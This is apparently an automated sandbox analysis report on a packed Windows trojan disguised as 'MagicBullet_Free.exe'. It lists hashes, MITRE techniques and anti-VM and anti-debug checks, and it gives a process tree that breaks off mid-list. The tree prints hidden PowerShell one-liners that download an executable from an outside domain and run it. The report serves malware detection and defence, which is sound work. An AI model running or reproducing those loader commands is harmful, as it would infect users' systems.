351ba55bd93782761028b945c20c3b7c5e2d488116b6d8c4461284c0ba358b0d

Analysis

max time kernel
149s
max time network
151s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
17/07/2026, 19:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MagicBullet_Free.exe
Size 3.7MB
Sample260717-yctnpscv2n
SHA256 351ba55bd93782761028b945c20c3b7c5e2d488116b6d8c4461284c0ba358b0d
MD5 63df4699dd1c0f97b5267e3371c8fd64
SHA1 4622e58cc235563e2b918e6b351d354219a2b23e
SHA512 3f6fe69a784d05b7c1d2302a14d7a3f0a01054e3b8d3fd8ec8894333b10e060387d2f64b4ed780872648e5bb00915fe8aaeac9d27ec23f67722f2be91aed70f7
SSDEEP 98304:ikF/7N5NhpiChBm44fmhdUSPbcUsMqbo:NhN5NPphBUmhdLPbcrMq8
TLSH
T1D806334E5E579415C2B42E372BB4326BCFE1538329518E489ED5CC67E5900EECB8E327
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MagicBullet_Free.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4596	powershell.exe
3520	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MagicBullet_Free.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MagicBullet_Free.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/4560-0-0x0000000140000000-0x00000001409D2000-memory.dmp	themida
behavioral2/memory/4560-1-0x0000000140000000-0x00000001409D2000-memory.dmp	themida
behavioral2/memory/4560-521-0x0000000140000000-0x00000001409D2000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MagicBullet_Free.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
33	discord.com
34	discord.com
46	discord.com
54	discord.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4560	MagicBullet_Free.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4776_260463824\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4776_260463824\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4776_260463824\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4776_1512687400\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4776_1549601963\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4776_260463824\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4776_1557351305\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4776_1557351305\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4776_1549601963\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1084	cmd.exe
3616	cmd.exe
4252	cmd.exe
4852	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2132	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134287907487746333"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4146128427-3460078792-3629963422-1000\{4420A60D-EBF9-43DB-9101-141060945B61}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4146128427-3460078792-3629963422-1000\{1CD93D9E-77AC-4A6A-84D4-64193ADE3978}	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3520	powershell.exe
4596	powershell.exe
3520	powershell.exe
4596	powershell.exe
2448	msedge.exe
2448	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	4596	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4560 wrote to memory of 1084	4560	MagicBullet_Free.exe	83
PID 1084 wrote to memory of 4252	1084	cmd.exe	84
PID 4560 wrote to memory of 3616	4560	MagicBullet_Free.exe	86
PID 3616 wrote to memory of 4852	3616	cmd.exe	87
PID 4252 wrote to memory of 4596	4252	cmd.exe	89
PID 4852 wrote to memory of 3520	4852	cmd.exe	90
PID 4560 wrote to memory of 4776	4560	MagicBullet_Free.exe	91
PID 4776 wrote to memory of 3288	4776	msedge.exe	93
PID 4776 wrote to memory of 2132	4776	msedge.exe	94
PID 4776 wrote to memory of 1128	4776	msedge.exe	95
PID 4776 wrote to memory of 1128	4776	msedge.exe	95
PID 4776 wrote to memory of 1128	4776	msedge.exe	95
PID 4776 wrote to memory of 2944	4776	msedge.exe	96
PID 4776 wrote to memory of 2944	4776	msedge.exe	96
PID 4776 wrote to memory of 3580	4776	msedge.exe	97
PID 4776 wrote to memory of 3580	4776	msedge.exe	97
PID 4776 wrote to memory of 1708	4776	msedge.exe	98
PID 4776 wrote to memory of 3580	4776	msedge.exe	97
PID 4776 wrote to memory of 1708	4776	msedge.exe	98
PID 4776 wrote to memory of 1708	4776	msedge.exe	98
PID 4776 wrote to memory of 580	4776	msedge.exe	100
PID 4776 wrote to memory of 580	4776	msedge.exe	100
PID 4776 wrote to memory of 580	4776	msedge.exe	100
PID 4776 wrote to memory of 1036	4776	msedge.exe	101
PID 4776 wrote to memory of 1036	4776	msedge.exe	101
PID 4776 wrote to memory of 1036	4776	msedge.exe	101
PID 4776 wrote to memory of 1704	4776	msedge.exe	104
PID 4776 wrote to memory of 1704	4776	msedge.exe	104
PID 4776 wrote to memory of 3932	4776	msedge.exe	105
PID 4776 wrote to memory of 3932	4776	msedge.exe	105
PID 4776 wrote to memory of 2824	4776	msedge.exe	107
PID 4776 wrote to memory of 2824	4776	msedge.exe	107
PID 4776 wrote to memory of 2824	4776	msedge.exe	107
PID 4776 wrote to memory of 4548	4776	msedge.exe	110
PID 4776 wrote to memory of 228	4776	msedge.exe	111
PID 4776 wrote to memory of 4548	4776	msedge.exe	110
PID 4776 wrote to memory of 228	4776	msedge.exe	111
PID 4776 wrote to memory of 4460	4776	msedge.exe	112
PID 4776 wrote to memory of 632	4776	msedge.exe	113
PID 4776 wrote to memory of 4460	4776	msedge.exe	112
PID 4776 wrote to memory of 5772	4776	msedge.exe	117
PID 4776 wrote to memory of 6056	4776	msedge.exe	121
PID 4776 wrote to memory of 6056	4776	msedge.exe	121
PID 4776 wrote to memory of 6100	4776	msedge.exe	122
PID 4776 wrote to memory of 6100	4776	msedge.exe	122
PID 4776 wrote to memory of 1260	4776	msedge.exe	124
PID 4776 wrote to memory of 1260	4776	msedge.exe	124
PID 4776 wrote to memory of 1740	4776	msedge.exe	125
PID 4776 wrote to memory of 1740	4776	msedge.exe	125
PID 4776 wrote to memory of 5368	4776	msedge.exe	126
PID 4776 wrote to memory of 5368	4776	msedge.exe	126
PID 4776 wrote to memory of 6028	4776	msedge.exe	127
PID 4776 wrote to memory of 1932	4776	msedge.exe	128
PID 4776 wrote to memory of 6036	4776	msedge.exe	129
PID 4776 wrote to memory of 1200	4776	msedge.exe	130
PID 4776 wrote to memory of 1200	4776	msedge.exe	130
PID 4776 wrote to memory of 5440	4776	msedge.exe	134
PID 4776 wrote to memory of 5440	4776	msedge.exe	134
PID 4776 wrote to memory of 5880	4776	msedge.exe	135
PID 4776 wrote to memory of 5880	4776	msedge.exe	135
PID 4776 wrote to memory of 5380	4776	msedge.exe	136
PID 4776 wrote to memory of 5380	4776	msedge.exe	136
PID 4776 wrote to memory of 2448	4776	msedge.exe	137
PID 4776 wrote to memory of 4408	4776	msedge.exe	138

C:\Users\Admin\AppData\Local\Temp\MagicBullet_Free.exe
"C:\Users\Admin\AppData\Local\Temp\MagicBullet_Free.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/magicbullet
  2⤵
  - Drops file in Windows directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x374,0x7ff9138dc188,0x7ff9138dc194,0x7ff9138dc1a0
    3⤵
    PID:3288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1896,i,6349188600390822832,4170567741353152709,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:3
    3⤵
    - System Time Discovery
    PID:2132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1720,i,13085568399412703003,17484646689150977589,262144 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:2
    3⤵
    PID:1128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2352,i,7770518261412969009,11085349630626406333,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:8
    3⤵
    PID:2944
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3408,i,10097836255267851387,9916434853249529699,2097152 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
    3⤵
    PID:3580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3412,i,7878756799944464614,11347638167807431353,2097152 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
    3⤵
    PID:1708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4240,i,15723732071169871484,14574199695280117225,2097152 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:1
    3⤵
    PID:580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4256,i,5426755363392369688,1182058405581885676,2097152 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:2
    3⤵
    PID:1036
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,6317552693399180421,5131612242567250845,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:8
    3⤵
    PID:1704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5244,i,2422171001047339611,10045742519972094163,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:8
    3⤵
    PID:3932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5324,i,6087118109886911636,11673644920554040163,2097152 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:1
    3⤵
    PID:2824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5320,i,12838088158430363400,579153429285686569,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:8
    3⤵
    PID:4548
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5292,i,2323148693961738058,16138360064024079577,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:8
    3⤵
    PID:228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6236,i,9892319947116339148,14276585765748906003,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:8
    3⤵
    PID:4460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6220,i,12565749849653850396,8447718799327955348,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:8
    3⤵
    - Modifies registry class
    PID:632
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6692,i,12631881896217244410,13039458035286337612,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:8
    3⤵
    PID:5756
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6692,i,12631881896217244410,13039458035286337612,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:8
    3⤵
    PID:5772
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6772,i,13762809350636771325,7888141116751752219,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:8
    3⤵
    PID:6056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6732,i,2892739930700965282,4932929746627737780,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=7100 /prefetch:8
    3⤵
    PID:6100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4120,i,7674627057628918193,7836877359501640682,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=4356 /prefetch:8
    3⤵
    PID:1260
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4320,i,15896630186660464425,12593069834247736953,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:8
    3⤵
    PID:1740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3700,i,1496326548990357064,600145441195809561,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:8
    3⤵
    PID:5368
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4816,i,18137579331960194530,5315077122500079908,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6972 /prefetch:8
    3⤵
    PID:6028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,17642242328976208564,8023411890994687522,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:8
    3⤵
    PID:1932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6416,i,6977171944736825929,15922717196545100385,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:8
    3⤵
    PID:6036
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5620,i,3369548506461934558,8940990179788739193,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:8
    3⤵
    PID:1200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3700,i,16253443668332064683,6033169498513114219,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:8
    3⤵
    PID:5440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
